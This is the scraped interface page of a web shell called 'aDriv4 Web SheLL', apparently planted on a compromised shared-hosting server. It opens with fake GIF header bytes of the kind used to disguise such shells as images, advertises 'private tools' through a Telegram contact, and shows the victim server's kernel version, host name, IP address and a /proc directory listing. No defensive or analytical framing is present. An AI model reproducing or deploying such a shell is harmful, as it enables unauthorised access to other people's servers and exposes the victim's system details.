GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium117.web-hosting.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 LiteSpeed
 162.0.229.112
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-11 08:58:34
.. dir - root/root 0755 2025-08-05 08:39:35
3322702 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3322884 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3322971 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3323077 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3323212 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3323244 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3374785 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
3381065 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3384237 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
3397324 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:44
3399213 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:55
3399418 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:55
3400163 dir - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:59
acpi dir - root/root 0555 2025-06-11 08:58:37
bus dir - root/root 0555 2025-06-11 08:58:47
driver dir - root/root 0555 2025-09-09 08:49:52
fs dir - root/root 0555 2025-06-11 08:58:47
irq dir - root/root 0555 2025-06-11 08:58:47
kcare dir - root/root 0555 2025-09-09 08:49:52
lve dir - root/root 0555 2025-09-09 08:49:52
net link - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:52
scsi dir - root/root 0555 2025-06-11 08:58:47
self link - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:02
sys dir - root/root 0555 2025-06-11 08:58:35
sysvipc dir - root/root 0555 2025-09-09 08:49:52
thread-self link - rxflqrzo/rxflqrzo 0555 2025-09-09 08:49:45
tty dir - root/root 0555 2025-09-09 08:49:52
buddyinfo 0 B root/root 0444 2025-09-09 08:49:52
cgroups 0 B root/root 0444 2025-09-09 08:49:52
cmdline text/plain 0 B root/root 0444 2025-09-09 08:49:52
consoles 0 B root/root 0444 2025-09-09 08:49:52
cpuinfo text/plain 0 B root/root 0444 2025-09-09 08:49:52
crypto 0 B root/root 0444 2025-09-09 08:49:52
devices 0 B root/root 0444 2025-09-09 08:49:52
diskstats 0 B root/root 0444 2025-09-09 08:49:52
dma 0 B root/root 0444 2025-09-09 08:49:52
execdomains 0 B root/root 0444 2025-09-09 08:49:52
fb 0 B root/root 0444 2025-09-09 08:49:52
filesystems text/plain 0 B root/root 0444 2025-09-09 08:49:51
interrupts 0 B root/root 0444 2025-09-09 08:49:52
iomem 0 B root/root 0444 2025-09-09 08:49:52
ioports 0 B root/root 0444 2025-09-09 08:49:52
kallsyms 0 B root/root 0444 2025-06-11 08:58:47
kcore 128 TB root/root 0400 2025-06-11 08:58:37
key-users 0 B root/root 0444 2025-09-09 08:49:52
keys 0 B root/root 0444 2025-09-09 08:49:52
kmsg 0 B root/root 0400 2025-09-09 08:49:52
kpagecgroup 0 B root/root 0400 2025-09-09 08:49:52
kpagecount 0 B root/root 0400 2025-09-09 08:49:52
kpageflags 0 B root/root 0400 2025-09-09 08:49:52
loadavg text/plain 0 B root/root 0444 2025-09-09 08:49:51
locks 0 B root/root 0444 2025-09-09 08:49:52
mdstat 0 B root/root 0444 2025-09-09 08:49:52
meminfo text/plain 0 B root/root 0444 2025-09-09 08:49:51
misc 0 B root/root 0444 2025-09-09 08:49:52
modules 0 B root/root 0444 2025-09-09 08:49:52
mounts text/plain 0 B rxflqrzo/rxflqrzo 0444 2025-09-09 08:49:52
mtrr 0 B root/root 0644 2025-06-11 08:58:47
pagetypeinfo 0 B root/root 0400 2025-09-09 08:49:52
partitions 0 B root/root 0444 2025-09-09 08:49:52
sched_debug 0 B root/root 0444 2025-09-09 08:49:52
schedstat 0 B root/root 0444 2025-09-09 08:49:52
slabinfo 0 B root/root 0400 2025-09-09 08:49:52
softirqs 0 B root/root 0444 2025-09-09 08:49:52
stat text/plain 0 B root/root 0444 2025-09-09 08:49:51
swaps 0 B root/root 0444 2025-06-11 08:58:35
sysrq-trigger 0 B root/root 0200 2025-06-11 08:58:47
timer_list 0 B root/root 0400 2025-09-09 08:49:52
uptime text/plain 0 B root/root 0444 2025-09-09 08:49:03
version text/plain 0 B root/root 0444 2025-09-09 08:49:52
vmallocinfo 0 B root/root 0400 2025-09-09 08:49:52
vmstat 0 B root/root 0444 2025-09-09 08:49:52
zoneinfo 0 B root/root 0444 2025-09-09 08:49:52
© aDriv4